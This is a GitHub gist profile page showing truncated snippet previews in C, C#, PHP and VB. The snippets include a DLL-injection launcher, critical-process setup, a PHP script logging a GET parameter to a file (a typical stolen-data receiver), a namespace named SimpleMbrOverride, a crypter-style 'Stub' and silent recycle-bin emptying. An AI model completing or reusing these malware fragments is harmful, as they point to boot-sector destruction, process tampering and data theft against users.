Skip to content

Instantly share code, notes, and snippets.

View puppis42's full-sized avatar
🎃
I may be slow to respond.

puppis42

🎃
I may be slow to respond.
View GitHub Profile
#include <Windows.h>
#include <ntdef.h>
EXTERN_C NTSTATUS NTAPI NtClose(HANDLE);
int WINAPI WinMain(HINSTANCE hInst,HINSTANCE hPrev,LPSTR cmd,int show)
{
STARTUPINFO si={};
PROCESS_INFORMATION pi={};
char dll[260];
#include <stdio.h>
#include <Windows.h>
#include <Psapi.h>
#pragma comment(lib, "Psapi.lib")
#pragma comment(lib,"Advapi32.lib")
#define ProcessBreakOnTermination 29
typedef int ProcessInformationClass;
typedef NTSTATUS(NTAPI* _NtQueryInformationProcess)(
HANDLE ProcessHandle,
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
<?php
$msg = $_GET['info'];
$logfile= 'data.txt';
$fp = fopen($logfile, "a");
fwrite($fp, $msg);
fclose($fp);
?>?
<?php
$xink = htmlspecialchars($_GET["link"]);
$xbps = htmlspecialchars($_GET["kbps"]);
function get_320($link, $kbps){
$html = file_get_contents($link);
$start = stripos($html, '<div class="text-center">');
<?php
// the message
$msg = $_GET['mailbody'];
// use wordwrap() if lines are longer than 70 characters
$msg = wordwrap($msg,70);
// send email
mail("<mail-addr>","<subject>",$msg);
<?php
$file = fopen('a.txt', 'w');
fwrite($file,"true");
fclose($file);
?>sx
namespace SimpleMbrOverride
{
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
public class Program
{
//https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx
[DllImport("kernel32")]
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Stub
{
class Program
Public Class Form1
Private Declare Function SHEmptyRecycleBin Lib “shell32.dll” Alias “SHEmptyRecycleBinA” (ByVal hWnd As Int32, ByVal pszRootPath As String, ByVal dwFlags As Int32) As Int32
Private Declare Function SHUpdateRecycleBinIcon Lib “shell32.dll” () As Int32
Private Const SHERB_NOCONFIRMATION = &H1
Private Const SHERB_NOPROGRESSUI = &H2
Private Const SHERB_NOSOUND = &H4
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
SHEmptyRecycleBin(Me.Handle.ToInt32, vbNullString, SHERB_NOCONFIRMATION)